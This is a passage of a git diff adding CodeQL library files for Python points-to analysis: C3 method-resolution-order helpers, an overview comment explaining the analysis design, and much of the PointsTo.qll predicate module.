pair `reversed_mro`, `remaining_list` represents a step in the C3 merge operation + * of computing the C3 linearization of `original`. + */ +private predicate merge_step(ClassList reversed_mro, ClassListList remaining_list, ClassListList original) { + remaining_list = list_of_linearization_of_bases_plus_bases(_) and reversed_mro = Empty() and remaining_list = original + or + /* Removes the best merge candidate from `remaining_list` and prepends it to `reversed_mro` */ + exists(ClassObject head, ClassList prev_reverse_mro, ClassListList prev_list | + merge_step(prev_reverse_mro, prev_list, original) and + head = prev_list.bestMergeCandidate() and + reversed_mro = Cons(head, prev_reverse_mro) and + remaining_list = prev_list.remove(head) + ) + or + merge_step(reversed_mro, ConsList(Empty(), remaining_list), original) +} + +/* Helpers for `ClassList.reverse()` */ + +private predicate needs_reversing(ClassList lst) { + merge_step(lst, EmptyList(), _) + or + lst = Empty() +} + +private predicate reverse_step(ClassList lst, ClassList remainder, ClassList reversed) { + needs_reversing(lst) and remainder = lst and reversed = Empty() + or + exists(ClassObject head, ClassList tail | + reversed = Cons(head, tail) and + reverse_step(lst, Cons(head, remainder), tail) + ) +} + diff --git a/python/ql/src/semmle/python/pointsto/Overview.qll b/python/ql/src/semmle/python/pointsto/Overview.qll new file mode 100644 index 00000000000..f46f83dbb3c --- /dev/null +++ b/python/ql/src/semmle/python/pointsto/Overview.qll @@ -0,0 +1,122 @@ +/** + * + * ## Points-to analysis for Python + * + * + * The purpose of points-to analysis is to determine what values a variable might hold at runtime. + * This allows us to write useful queries to check for the misuse of those values. + * In the academic and technical literature, points-to analysis (AKA pointer analysis) attempts to determine which variables can refer to which heap allocated objects. + * From the point of view of Python we can treat all Python objects as "heap allocated objects". + * + * + * The output of the points-to analysis consists of a large set of relations which provide not only points-to information, but call-graph, pruned flow-graph and exception-raising information. + * + * These relations are computed by a large set of mutually recursive predicates which infer the flow of values through the program. + * Our analysis is inter-procedural use contexts to maintain the precision of an intra-procedural analysis. + * + * ### Precision + * + * In conventional points-to, the computed points-to set should be a super-set of the real points-to set (were it possible to determine such a thing). + * However for our purposes we want the points-to set to be a sub-set of the real points-to set. + * This is simply because conventional points-to is used to determine compiler optimisations, so the points-to set needs to be a conservative over-estimate of what is possible. + * We have the opposite concern; we want to eliminate false positives where possible. + * + * This should be born in mind when reading the literature about points-to analysis. In conventional points-to, a precise analysis produces as small a points-to set as possible. + * Our analysis is precise (or very close to it). Instead of seeking to maximise precision, we seek to maximise *recall* and produce as large a points-to set as possible (whilst remaining precise). + * + * When it comes to designing the inference, we always choose precision over recall. + * We want to minimise false positives so it is important to avoid making incorrect inferences, even if it means losing a lot of potential information. + * If a potential new points-to fact would increase the number of values we are able to infer, but decrease precision, then we omit it. + * + * ###Objects + * + * In convention points-to an 'object' is generally considered to be any static instantiation. E.g. in Java this is simply anything looking like `new X(..)`. + * However, in Python as there is no `new` expression we cannot known what is a class merely from the syntax. + * Consequently, we must start with only with the simplest objects and extend to instance creation as we can infer classes. + * + * To perform points-to analysis we start with the set of built-in objects, all literal constants, and class and function definitions. + * From there we can propagate those values. Whenever we see a call `x()` we add a new object if `x` refers to some class. + * + * In the `PointsTo::points_to` relation, the second argument, `Object value` is the "value" referred to by the ControlFlowNode (which will correspond to an rvalue in the source code). + * The set of "values" used will change as the library continues to improve, but currently include the following: + * + * * Classes (both in the source and builtin) + * * Functions (both in the source and builtin) + * * Literal constants defined in the source (string and numbers) + * * Constant objects defined in compiled libraries and the interpreter (None, boolean, strings and numbers) + * * Some calls (many calls are absent as we can infer what the call returns). Consider a call to represent the set of objects that it could return. + * * Some other constructs that might create a new object. + * + * A number of constructs that might create a new object, such as binary operations, are omitted if there is no useful information to can be attached to them and they would just increase the size of the database. + * + * ###Contexts + * + * In order to better handle value tracking in functions, we introduce context to the points-to relation. + * There is one `default` context, equivalent to having no context, a `main` context for scripts and any number of call-site contexts. + * + * Adding context to a conventional points-to analysis can significantly improve its precision. Whereas, for our points-to analysis adding context significantly improves the recall of our analysis. + * The consensus in the academic literature is that "object sensitivity" is superior to "call-site sensitivity". + * However, since we are seeking to maximise not minimise our points-to set, it is entirely possible that the reverse is true for us. + * We use "call-site sensitivity" at the moment, although the exact set of contexts used will change. + * + * ### Points-to analysis over the ESSA dataflow graph + * + * In order to perform points-to analysis on the dataflow graph, we + * need to understand the many implicit "definitions" that occur within Python code. + * + * These are: + * + * 1. Implicit definition as "undefined" for any local or global variable at the start of its scope. + * Many of these will be dead and will be eliminated during construction of the dataflow graph. + * 2. Implicit definition of `__name__`, `__package__` and `__module__` at the start of the relevant scopes. + * 3. Implicit definition of all submodules as global variables at the start of an `__init__` module + * + * In addition, there are the "artificial", data-flow definitions: + * + * 1. Phi functions + * 2. Pi (guard, or filter) functions. + * 3. "Refinements" of a variable. These are not definitions of the variable, but may modify the object referred to by the variable, + * possibly changing some inferred facts about the object. + * 4. Definition of any variable that escapes the scope, at entry, exit and at all call-sites. + * + * As an example, consider: + * ```python + * if a: + * float = "global" + * #float can now be either the class 'float' or the string "global" + * + * class C2: + * if b: + * float = "local" + * float + * + * float #Cannot be "local" + * ``` + * + * Ignoring `__name__` and `__package__`, the data-flow graph looks something like this, noting that there are two variables named "float" + * in the scope `C2`, the local and the global. + * + * ``` + * a_0 = undefined + * b_0 = undefined + * float_0 = undefined + * int_0 = undefined + * float_1 = "global" + * float_2 = phi(float_0, float_1) + * float_3 = float_2 (Definition on entry to C2 for global variable) + * float_4 = undefined (Definition on entry to C2 for local variable) + * float_5 = "local" | + * float_6 = phi(float_4, float_5) | + * float_7 = float_3 (transfer values in global 'float', but not local, back to module scope). + * ``` + * + * ### Implementation + * + * This section is for information purposes only. Any or all details may change without notice. + * + * QL, being based on Datalog, has fixed-point semantics which makes it impossible to make negative statements that are recursive. + * To work around this we need to define many predicates over boolean variables. Suppose we have a predicate with determines whether a test can be true or false at runtime. + * We might naively implement this as `predicate test_is_true(ControlFlowNode test, Context ctx)` but this would lead to negative recursion if we want to know when the test can be false. + * Instead we implement it as `boolean test_result(ControlFlowNode test, Context ctx)` where the absence of a value indicates merely that we do (yet) know what value the test may have. + * + */ diff --git a/python/ql/src/semmle/python/pointsto/PointsTo.qll b/python/ql/src/semmle/python/pointsto/PointsTo.qll new file mode 100644 index 00000000000..06c7b8c2d85 --- /dev/null +++ b/python/ql/src/semmle/python/pointsto/PointsTo.qll @@ -0,0 +1,2842 @@ +/** + * Part of the combined points-to, call-graph and type-inference library. + * The main relation `points_to(node, context, object, cls, origin)` relates a control flow node + * to the possible objects it points-to the inferred types of those objects and the 'origin' + * of those objects. The 'origin' is the point in source code that the object can be traced + * back to. + * + * The predicates provided are not intended to be used directly (although they are available to the advanced user), but are exposed in the user API as methods on key classes. + * + * For example, the most important predicate in the points-to relation is: + * ```ql + * predicate PointsTo::points_to(ControlFlowNode f, PointsToContext ctx, Object value, ClassObject cls, ControlFlowNode origin) + * ``` + * Where `f` is the control flow node representing something that might hold a value. `ctx` is the context in which `f` "points-to" `value` and may be "general" or from a specific call-site. + * `value` is a static approximation to a value, such as a number, a class, or an object instantiation. + * `cls` is the class of this value if known, or `theUnknownType()` which is an internal `ClassObject` and should not be exposed to the general QL user. + * `origin` is the point in the source from where `value` originates and is useful when presenting query results. + * + * The `PointsTo::points_to` relation is exposed at the user API level as + * ```ql + * ControlFlowNode.refersTo(Context context, Object value, ClassObject cls, ControlFlowNode origin) + * ``` + * + */ + +import python +private import PointsToContext +private import Base +private import semmle.python.types.Extensions +private import Filters as BaseFilters +import semmle.dataflow.SSA +private import MRO + +/** Get a `ControlFlowNode` from an object or `here`. + * If the object is a ControlFlowNode then use that, otherwise fall back on `here` + */ +pragma[inline] +private ControlFlowNode origin_from_object_or_here(ObjectOrCfg object, ControlFlowNode here) { + result = object + or + not object instanceof ControlFlowNode and result = here +} + +module PointsTo { + + cached module API { + + /** INTERNAL -- Use `FunctionObject.getACall()`. + * + * Gets a call to `func` with the given context. */ + cached CallNode get_a_call(FunctionObject func, PointsToContext context) { + function_call(func, context, result) + or + method_call(func, context, result) + } + + /** INTERNAL -- Use `FunctionObject.getAFunctionCall()`. + * + * Holds if `call` is a function call to `func` with the given context. */ + cached predicate function_call(FunctionObject func, PointsToContext context, CallNode call) { + points_to(call.getFunction(), context, func, _, _) + } + + /** INTERNAL -- Use `FunctionObject.getAMethodCall()`. + * + * Holds if `call` is a method call to `func` with the given context. */ + cached predicate method_call(FunctionObject func, PointsToContext context, CallNode call) { + Calls::plain_method_call(func, context, call) + or + Calls::super_method_call(context, call, _, func) + or + class_method_call(_, _, func, context, call) + } + + /** INTERNAL -- Use `ClassMethod.getACall()` instead */ + cached predicate class_method_call(Object cls_method, ControlFlowNode attr, FunctionObject func, PointsToContext context, CallNode call) { + exists(ClassObject cls, string name | + attr = call.getFunction() and + Types::class_attribute_lookup(cls, name, cls_method, _, _) | + Calls::receiver_type_for(cls, name, attr, context) + or + points_to(attr.(AttrNode).getObject(name), context, cls, _, _) + ) and + class_method(cls_method, func) + } + + /** INTERNAL -- Use `ClassMethod` instead */ + cached predicate class_method(Object cls_method, FunctionObject method) { + decorator_call(cls_method, theClassMethodType(), method) + } + + pragma [nomagic] + private predicate decorator_call(Object method, ClassObject decorator, FunctionObject func) { + exists(CallNode f, PointsToContext imp | + method = f and imp.isImport() and + points_to(f.getFunction(), imp, decorator, _, _) and + points_to(f.getArg(0), imp, func, _, _) + ) + } + + /** INTERNAL -- Use `f.refersTo(value, cls, origin)` instead. */ + cached predicate points_to(ControlFlowNode f, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + points_to_candidate(f, context, value, cls, origin) and + Layer::reachableBlock(f.getBasicBlock(), context) + } + + /** Gets the value that `expr` evaluates to (when converted to a boolean) when `use` refers to `(val, cls, origin)` + * and `expr` is a test (a branch) and contains `use`. */ + cached boolean test_evaluates_boolean(ControlFlowNode expr, ControlFlowNode use, PointsToContext context, Object val, ClassObject cls, ControlFlowNode origin) { + test_contains(expr, use) and + result = Filters::evaluates(expr, use, context, val, cls, origin) + } + + /** INTERNAL -- Do not use. + * + * Holds if `package.name` points to `(value, cls, origin)`, where `package` is a package object. */ + cached predicate package_attribute_points_to(PackageObject package, string name, Object value, ClassObject cls, ControlFlowNode origin) { + py_module_attributes(package.getInitModule().getModule(), name, value, cls, origin) + or + exists(Module init | + init = package.getInitModule().getModule() | + not exists(Variable v | v.getScope() = init | v.getId() = name or v.getId() = "*") + or + exists(EssaVariable v, PointsToContext imp | + v.getScope() = init and v.getName() = "*" and v.getAUse() = init.getANormalExit() | + SSA::ssa_variable_named_attribute_points_to(v, imp, name, undefinedVariable(), _, _) and + imp.isImport() + ) + ) and explicitly_imported(value) and + value = package.submodule(name) and cls = theModuleType() and origin = value + } + + /** INTERNAL -- `Use m.attributeRefersTo(name, obj, origin)` instead. + * + * Holds if `m.name` points to `(value, cls, origin)`, where `m` is a (source) module. */ + cached predicate py_module_attributes(Module m, string name, Object obj, ClassObject cls, ControlFlowNode origin) { + exists(EssaVariable var, ControlFlowNode exit, ObjectOrCfg orig, PointsToContext imp | + exit = m.getANormalExit() and var.getAUse() = exit and + var.getSourceVariable().getName() = name and + ssa_variable_points_to(var, imp, obj, cls, orig) and + imp.isImport() and + not obj = undefinedVariable() | + origin = origin_from_object_or_here(orig, exit) + ) + or + not exists(EssaVariable var | var.getAUse() = m.getANormalExit() and var.getSourceVariable().getName() = name) and + exists(EssaVariable var, PointsToContext imp | + var.getAUse() = m.getANormalExit() and var.getSourceVariable().getName() = "*" | + SSA::ssa_variable_named_attribute_points_to(var, imp, name, obj, cls, origin) and + imp.isImport() and not obj = undefinedVariable() + ) + } + + /** INTERNAL -- Use `ModuleObject.hasAttribute(name)` + * + * Whether the module defines name. */ + cached predicate module_defines_name(Module mod, string name) { + module_defines_name_boolean(mod, name) = true + } + + /** INTERNAL -- Use `Version.isTrue()` instead. + * + * Holds if `cmp` points to a test on version that is `value`. + * For example, if `cmp` is `sys.version[0] < "3"` then for, Python 2, `value` would be `true`. */ + cached predicate version_const(CompareNode cmp, PointsToContext context, boolean value) { + exists(ControlFlowNode fv, ControlFlowNode fc, Object val | + comparison(cmp, fv, fc, _) and + points_to(cmp, context, val, _, _) and + value = val.booleanValue() + | + sys_version_info_slice(fv, context, _) + or + sys_version_info_index(fv, context, _, _) + or + sys_version_string_char0(fv, context, _, _) + or + points_to(fv, context, theSysHexVersionNumber(), _, _) + ) + or + value = version_tuple_compare(cmp, context).booleanValue() + } + + /** INTERNAL -- Use `FunctionObject.getArgumentForCall(call, position)` instead. */ + cached ControlFlowNode get_positional_argument_for_call(FunctionObject func, PointsToContext context, CallNode call, int position) { + result = Calls::get_argument_for_call_by_position(func, context, call, position) + or + exists(string name | + result = Calls::get_argument_for_call_by_name(func, context, call, name) and + func.getFunction().getArg(position).asName().getId() = name + ) + } + + /** INTERNAL -- Use `FunctionObject.getNamedArgumentForCall(call, name)` instead. */ + cached ControlFlowNode get_named_argument_for_call(FunctionObject func, PointsToContext context, CallNode call, string name) { + ( + result = Calls::get_argument_for_call_by_name(func, context, call, name) + or + exists(int position | + result = Calls::get_argument_for_call_by_position(func, context, call, position) and + func.getFunction().getArg(position).asName().getId() = name + ) + ) + } + + /** INTERNAL -- Use `FunctionObject.neverReturns()` instead. + * Whether function `func` never returns. Slightly conservative approximation, this predicate may be false + * for a function that can never return. */ + cached predicate function_never_returns(FunctionObject func) { + /* A Python function never returns if it has no normal exits that are not dominated by a + * call to a function which itself never returns. + */ + function_can_never_return(func) + or + exists(Function f | + f = func.getFunction() + | + forall(BasicBlock exit | + exit = f.getANormalExit().getBasicBlock() | + exists(FunctionObject callee, BasicBlock call | + get_a_call(callee, _).getBasicBlock() = call and + function_never_returns(callee) and + call.dominates(exit) + ) + ) + ) + } + + /** INTERNAL -- Use `m.importedAs(name)` instead. + * + * Holds if `import name` will import the module `m`. */ + cached predicate module_imported_as(ModuleObject m, string name) { + /* Normal imports */ + m.getName() = name + or + /* sys.modules['name'] = m */ + exists(ControlFlowNode sys_modules_flow, ControlFlowNode n, ControlFlowNode mod | + /* Use previous points-to here to avoid slowing down the recursion too much */ + exists(SubscriptNode sub, Object sys_modules | + sub.getValue() = sys_modules_flow and + points_to(sys_modules_flow, _, sys_modules, _, _) and + builtin_module_attribute(theSysModuleObject(), "modules", sys_modules, _) and + sub.getIndex() = n and + n.getNode().(StrConst).getText() = name and + sub.(DefinitionNode).getValue() = mod and + points_to(mod, _, m, _, _) + ) + ) + } + + /** Holds if `call` is of the form `getattr(arg, "name")`. */ + cached predicate getattr(CallNode call, ControlFlowNode arg, string name) { + points_to(call.getFunction(), _, builtin_object("getattr"), _, _) and + call.getArg(1).getNode().(StrConst).getText() = name and + arg = call.getArg(0) + } + + /** Holds if `f` is the instantiation of an object, `cls(...)`. */ + cached predicate instantiation(CallNode f, PointsToContext context, ClassObject cls) { + points_to(f.getFunction(), context, cls, _, _) and + not cls = theTypeType() and + Types::callToClassWillReturnInstance(cls) + } + + /** Holds if `var` refers to `(value, cls, origin)` given the context `context`. */ + cached predicate ssa_variable_points_to(EssaVariable var, PointsToContext context, Object value, ClassObject cls, ObjectOrCfg origin) { + SSA::ssa_definition_points_to(var.getDefinition(), context, value, cls, origin) + } + + + } + + predicate name_maybe_imported_from(ModuleObject mod, string name) { + exists(Module m, ImportStar s | + has_import_star(m, s, mod) | + exists(Variable var | name = var.getId() and var.getScope() = s.getScope()) + or + exists(ModuleObject other | + name_maybe_imported_from(other, name) and other.getModule() = m + ) + ) + or + exists(ImportMemberNode imp | + points_to(imp.getModule(name), _, mod, _, _) + ) + or + exists(PackageObject pack | + pack.getInitModule() = mod | + name_maybe_imported_from(pack, name) + ) + or + exists(mod.(PackageObject).submodule(name)) + or + exists(PackageObject package | + package.getInitModule() = mod and + exists(package.submodule(name)) + ) + or + module_exports(mod, name) + or + name = "__name__" + } + + private boolean module_defines_name_boolean(Module m, string name) { + exists(ModuleObject mod | + m = mod.getModule() | + exists(SsaVariable var | name = var.getId() and var.getAUse() = m.getANormalExit()) and result = true + or + name_maybe_imported_from(mod, name) and not any(ImportStar i).getScope() = m and result = false and + not exists(SsaVariable var | name = var.getId() and var.getAUse() = m.getANormalExit()) and + not exists(PackageObject pack | + pack.getInitModule() = mod and + exists(pack.submodule(name)) + ) + or + exists(Object obj | + not obj = undefinedVariable() and + py_module_attributes(mod.getModule(), name, obj, _, _) + ) and result = true + or + exists(ImportStarNode isn, ModuleObject imported | + isn.getScope() = m and + points_to(isn.getModule(), _, imported, _, _) and + module_exports(imported, name) + ) and result = true + ) + or + name = "__name__" and result = true + } + + private boolean py_module_exports_boolean(ModuleObject mod, string name) { + exists(Module m | + m = mod.getModule() | + /* Explicitly declared in __all__ */ + m.declaredInAll(name) and result = true + or + /* No __all__ and name is defined and public */ + not m.declaredInAll(_) and name.charAt(0) != "_" and + result = module_defines_name_boolean(m, name) + or + /* May be imported from this module, but not declared in __all__ */ + name_maybe_imported_from(mod, name) and m.declaredInAll(_) and not m.declaredInAll(name) and + result = false + ) + } + + private boolean package_exports_boolean(PackageObject pack, string name) { + explicitly_imported(pack.submodule(name)) and + ( + not exists(pack.getInitModule()) + or + exists(ModuleObject init | + pack.getInitModule() = init | + not init.getModule().declaredInAll(_) and name.charAt(0) != "_" + ) + ) and result = true + or + result = module_exports_boolean(pack.getInitModule(), name) + } + + /** INTERNAL -- Use `m.exports(name)` instead. */ + cached predicate module_exports(ModuleObject mod, string name) { + module_exports_boolean(mod, name) = true + } + + private boolean module_exports_boolean(ModuleObject mod, string name) { + py_cmembers_versioned(mod, name, _, major_version().toString()) and + name.charAt(0) != "_" and result = true + or + result = package_exports_boolean(mod, name) + or + result = py_module_exports_boolean(mod, name) + } + + /** Predicates in this layer need to visible to the next layer, but not otherwise */ + private module Layer { + + /* Holds if BasicBlock `b` is reachable, given the context `context`. */ + predicate reachableBlock(BasicBlock b, PointsToContext context) { + context.appliesToScope(b.getScope()) and + forall(ConditionBlock guard | + guard.controls(b, _) | + exists(Object value | + points_to(guard.getLastNode(), context, value, _, _) + | + guard.controls(b, true) and not value.booleanValue() = false + or + guard.controls(b, false) and not value.booleanValue() = true + ) + or + /* Assume the true edge of an assert is reachable (except for assert 0/False) */ + guard.controls(b, true) and + exists(Assert a, Expr test | + a.getTest() = test and + guard.getLastNode().getNode() = test and + not test instanceof ImmutableLiteral + ) + ) + } + + /* Holds if the edge `pred` -> `succ` is reachable, given the context `context`. + */ + predicate controlledReachableEdge(BasicBlock pred, BasicBlock succ, PointsToContext context) { + exists(ConditionBlock guard, Object value | + points_to(guard.getLastNode(), context, value, _, _) + | + guard.controlsEdge(pred, succ, true) and not value.booleanValue() = false + or + guard.controlsEdge(pred, succ, false) and not value.booleanValue() = true + ) + } + + /** Holds if `mod.name` points to `(value, cls, origin)`, where `mod` is a module object. */ + predicate module_attribute_points_to(ModuleObject mod, string name, Object value, ClassObject cls, ObjectOrCfg origin) { + py_module_attributes(mod.getModule(), name, value, cls, origin) + or + package_attribute_points_to(mod, name, value, cls, origin) + or + builtin_module_attribute(mod, name, value, cls) and origin = value + } + + } + + import API + + /* Holds if `f` points to a test on the OS that is `value`. + * For example, if `f` is `sys.platform == "win32"` then, for Windows, `value` would be `true`. + */ + private predicate os_const(ControlFlowNode f, PointsToContext context, boolean value) { + exists(string os | + os_test(f, os, context) | + value = true and py_flags_versioned("sys.platform", os, major_version().toString()) + or + value = false and not py_flags_versioned("sys.platform", os, major_version().toString()) + ) + } + + /** Points-to before pruning. */ + pragma [nomagic] + private predicate points_to_candidate(ControlFlowNode f, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + simple_points_to(f, value, cls, origin) and context.appliesToScope(f.getScope()) + or + f.isClass() and value = f and origin = f and context.appliesToScope(f.getScope()) and + cls = Types::class_get_meta_class(value) + or + exists(boolean b | + os_const(f, context, b) + | + value = theTrueObject() and b = true + or + value = theFalseObject() and b = false + ) and cls = theBoolType() and origin = f + or + import_points_to(f, value, origin) and cls = theModuleType() and context.appliesToScope(f.getScope()) + or + attribute_load_points_to(f, context, value, cls, origin) + or + getattr_points_to(f, context, value, cls, origin) + or + if_exp_points_to(f, context, value, cls, origin) + or + from_import_points_to(f, context, value, cls, origin) + or + use_points_to(f, context, value, cls, origin) + or + def_points_to(f, context, value, cls, origin) + or + Calls::call_points_to(f, context, value, cls, origin) + or + subscript_points_to(f, context, value, cls, origin) + or + sys_version_info_slice(f, context, cls) and value = theSysVersionInfoTuple() and origin = f + or + sys_version_info_index(f, context, value, cls) and origin = f + or + sys_version_string_char0(f, context, value, cls) and origin = f + or + six_metaclass_points_to(f, context, value, cls, origin) + or + binary_expr_points_to(f, context, value, cls, origin) + or + compare_expr_points_to(f, context, value, cls, origin) + or + not_points_to(f, context, value, cls, origin) + or + value.(SuperCall).instantiation(context, f) and f = origin and cls = theSuperType() + or + value.(SuperBoundMethod).instantiation(context, f) and f = origin and cls = theBoundMethodType() + or + exists(boolean b | + b = Filters::evaluates_boolean(f, _, context, _, _, _) + | + value = theTrueObject() and b = true + or + value = theFalseObject() and b = false + ) and cls = theBoolType() and origin = f + or + f.(CustomPointsToFact).pointsTo(context, value, cls, origin) + } + + /** The ESSA variable with fast-local lookup (LOAD_FAST bytecode). */ + private EssaVariable fast_local_variable(NameNode n) { + n.isLoad() and + result.getASourceUse() = n and + result.getSourceVariable() instanceof FastLocalVariable + } + + /** The ESSA variable with name-local lookup (LOAD_NAME bytecode). */ + private EssaVariable name_local_variable(NameNode n) { + n.isLoad() and + result.getASourceUse() = n and + result.getSourceVariable() instanceof NameLocalVariable + } + + /** The ESSA variable for the global variable lookup. */ + private EssaVariable global_variable(NameNode n) { + n.isLoad() and + result.getASourceUse() = n and + result.getSourceVariable() instanceof GlobalVariable + } + + private predicate use_points_to_maybe_origin(NameNode f, PointsToContext context, Object value, ClassObject cls, ObjectOrCfg origin_or_obj) { + ssa_variable_points_to(fast_local_variable(f), context, value, cls, origin_or_obj) + or + name_lookup_points_to_maybe_origin(f, context, value, cls, origin_or_obj) + or + not exists(fast_local_variable(f)) and not exists(name_local_variable(f)) and + global_lookup_points_to_maybe_origin(f, context, value, cls, origin_or_obj) + } + + pragma [noinline] + private predicate local_variable_undefined(NameNode f, PointsToContext context) { + ssa_variable_points_to(name_local_variable(f), context, undefinedVariable(), _, _) + } + + private predicate name_lookup_points_to_maybe_origin(NameNode f, PointsToContext context, Object value, ClassObject cls, ObjectOrCfg origin_or_obj) { + exists(EssaVariable var | var = name_local_variable(f) | + ssa_variable_points_to(var, context, value, cls, origin_or_obj) + ) + or + local_variable_undefined(f, context) and + global_lookup_points_to_maybe_origin(f, context, value, cls, origin_or_obj) + } + + private predicate global_lookup_points_to_maybe_origin(NameNode f, PointsToContext context, Object value, ClassObject cls, ObjectOrCfg origin_or_obj) { + ssa_variable_points_to(global_variable(f), context, value, cls, origin_or_obj) + or + ssa_variable_points_to(global_variable(f), context, undefinedVariable(), _, _) and + potential_builtin_points_to(f, value, cls, origin_or_obj) + or + not exists(global_variable(f)) and context.appliesToScope(f.getScope()) and + potential_builtin_points_to(f, value, cls, origin_or_obj) + } + + /** Gets an object pointed to by a use (of a variable). */ + private predicate use_points_to(NameNode f, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + exists(ObjectOrCfg origin_or_obj | + not value = undefinedVariable() and + use_points_to_maybe_origin(f, context, value, cls, origin_or_obj) | + origin = origin_from_object_or_here(origin_or_obj, f) + ) + } + + /** Gets an object pointed to by the definition of an ESSA variable. */ + private predicate def_points_to(DefinitionNode f, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + points_to(f.getValue(), context, value, cls, origin) + } + + /** Holds if `f` points to `@six.add_metaclass(cls)\nclass ...`. */ + private predicate six_metaclass_points_to(ControlFlowNode f, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + exists(ControlFlowNode meta | + Types::six_add_metaclass(f, value, meta) and + points_to(meta, context, cls, _, _) + ) and + origin = value + } + + /** Holds if `obj.name` points to `(value, cls, orig)`. */ + pragma [noinline] + private predicate class_or_module_attribute(Object obj, string name, Object value, ClassObject cls, ObjectOrCfg orig) { + /* Normal class attributes */ + Types::class_attribute_lookup(obj, name, value, cls, orig) and not cls = theStaticMethodType() and not cls = theClassMethodType() + or + /* Static methods of the class */ + exists(CallNode sm | Types::class_attribute_lookup(obj, name, sm, theStaticMethodType(), _) and sm.getArg(0) = value and cls = thePyFunctionType() and orig = value) + or + /* Module attributes */ + Layer::module_attribute_points_to(obj, name, value, cls, orig) + } + + /** Holds if `f` points to `(value, cls, origin)` where `f` is an instance attribute, `x.attr`. */ + pragma [nomagic] + private predicate instance_attribute_load_points_to(AttrNode f, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + f.isLoad() and + exists(string name | + named_attribute_points_to(f.getObject(name), context, name, value, cls, origin) + or + /* Static methods on the class of the instance */ + exists(CallNode sm, ClassObject icls | + points_to(f.getObject(name), context, _, icls, _) and + Types::class_attribute_lookup(icls, name, sm, theStaticMethodType(), _) and sm.getArg(0) = value and cls = thePyFunctionType() and origin = value + ) + or + /* Unknown instance attributes */ + exists(Object x, ClassObject icls, ControlFlowNode obj_node | + obj_node = f.getObject(name) and + not obj_node.(NameNode).isSelf() and + points_to(obj_node, context, x, icls, _) and + (not x instanceof ModuleObject and not x instanceof ClassObject) and + not icls.isBuiltin() and + Types::class_has_attribute_bool(icls, name) = false and + value = unknownValue() and cls = theUnknownType() and origin = f + ) + ) + } + + pragma[noinline] + private predicate receiver_object(AttrNode f, PointsToContext context, Object cls_or_mod, string name) { + f.isLoad() and + exists(ControlFlowNode fval| + fval = f.getObject(name) and + points_to(fval, context, cls_or_mod, _, _) | + cls_or_mod instanceof ClassObject or + cls_or_mod instanceof ModuleObject + ) + } + + /** Holds if `f` is an attribute `x.attr` and points to `(value, cls, origin)`. */ + private predicate attribute_load_points_to(AttrNode f, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + instance_attribute_load_points_to(f, context, value, cls, origin) + or + exists(Object cls_or_mod, string name, ObjectOrCfg orig | + receiver_object(f, context, cls_or_mod, name) and + class_or_module_attribute(cls_or_mod, name, value, cls, orig) and + origin = origin_from_object_or_here(orig, f) + ) + or + points_to(f.getObject(), context, unknownValue(), theUnknownType(), origin) and value = unknownValue() and cls = theUnknownType() + } + + /** Holds if `f` is an expression node `tval if cond else fval` and points to `(value, cls, origin)`. */ + private predicate if_exp_points_to(IfExprNode f, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + points_to(f.getAnOperand(), context, value, cls, origin) + } + + /** Holds if `f` is an import expression, `import mod` and points to `(value, cls, origin)`. */ + private predicate import_points_to(ControlFlowNode f, ModuleObject value, ControlFlowNode origin) { + exists(string name, ImportExpr i | + i.getAFlowNode() = f and i.getImportedModuleName() = name and + module_imported_as(value, name) and + origin = f + ) + } + + /** Holds if `f` is a "from import" expression, `from mod import x` and points to `(value, cls, origin)`. */ + pragma [nomagic] + private predicate from_import_points_to(ImportMemberNode f, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + exists(EssaVariable var, ObjectOrCfg orig | + live_import_from_dot_in_init(f, var) and + ssa_variable_points_to(var, context, value, cls, orig) and + origin = origin_from_object_or_here(orig, f) + ) + or + not live_import_from_dot_in_init(f, _) and + exists(string name, ModuleObject mod | + points_to(f.getModule(name), context, mod, _, _) | + exists(ObjectOrCfg orig | + Layer::module_attribute_points_to(mod, name, value, cls, orig) and + origin = origin_from_object_or_here(orig, f) + ) + ) + } + + /** Holds if `f` is of the form `getattr(x, "name")` and x.name points to `(value, cls, origin)`. */ + private predicate getattr_points_to(CallNode f, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + exists(ControlFlowNode arg, string name | + named_attribute_points_to(arg, context, name, value, cls, origin) and + getattr(f, arg, name) + ) + } + + /** Whether the module is explicitly imported somewhere. */ + private predicate explicitly_imported(ModuleObject mod) { + exists(ImportExpr ie | module_imported_as(mod, ie.getAnImportedModuleName())) + or + exists(ImportMember im | module_imported_as(mod, im.getImportedModuleName())) + } + + /** Holds if an import star exists in the module m that imports the module `imported_module`, such that the flow from the import reaches the module exit. */ + private predicate has_import_star(Module m, ImportStar im, ModuleObject imported_module) { + exists(string name | + module_imported_as(imported_module, name) and + name = im.getImportedModuleName() and + im.getScope() = m and + im.getAFlowNode().getBasicBlock().reachesExit() + ) + } + + /** Track bitwise expressions so we can handle integer flags and enums. + * Tracking too many binary expressions is likely to kill performance. + */ + private predicate binary_expr_points_to(BinaryExprNode b, PointsToContext context, Object value, ClassObject cls, ControlFlowNode origin) { + cls = theIntType() and + exists(ControlFlowNode left, ControlFlowNode right | + bitwise_expression_node(b, left, right) and + points_to(left, context, _, cls, _) and + points_to(right, context, _, cls, _) + ) and + value = origin and origin = b + } + + pragma [noinline] + private predicate incomparable_values(CompareNode cmp, PointsToContext context) { + exists(ControlFlowNode left, ControlFlowNode right | + cmp.operands(left, _, right) and + exists(Object lobj, Object robj | + points_to(left, context, lobj, _, _) and + points_to(right, context, robj, _, _) | + not Filters::comparable_value(lobj) + or + not Filters::comparable_value(robj) + ) + ) + } + + pragma [noinline] + private Object in_tuple(CompareNode cmp, PointsToContext context) { + exists(ControlFlowNode left, ControlFlowNode right | + cmp.operands(left, any(In i), right) and + exists(Object lobj, TupleObject tuple | + points_to(left, context, lobj, _, _) and + points_to(right, context, tuple, _, _) + | + lobj = tuple.getBuiltinElement(_) and result = theTrueObject() + or + not lobj = tuple.getBuiltinElement(_) and result = theFalseObject() + ) + ) + } + + pragma [noinline] + private predicate const_compare(CompareNode cmp, PointsToContext context, int comp, boolean strict) { + exists(ControlFlowNode left, ControlFlowNode right | + inequality(cmp, left, right, 